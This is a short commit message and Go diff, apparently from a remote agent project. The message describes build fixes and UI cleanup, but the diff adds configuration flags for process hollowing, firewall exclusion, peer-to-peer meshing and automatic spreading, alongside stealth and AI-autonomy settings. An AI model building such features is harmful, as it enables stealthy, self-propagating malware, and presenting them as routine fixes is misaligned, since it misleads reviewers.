Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.

agent/config/config.go

@@ -42,10 +42,14 @@ type BuiltinConfig struct {
 	SelfHealing         bool
 	FileLogging         bool
 	StealthMode         bool
+	FirewallExclusion   bool
 	// AI Autonomy (Ollama)
 	AIEnabled        bool
 	AIOllamaEndpoint string
 	AIModel          string
+	ProcessHollowing bool
+	MeshP2P          bool
+	AutoSpread       bool
 }
 
 type RuntimeConfig struct {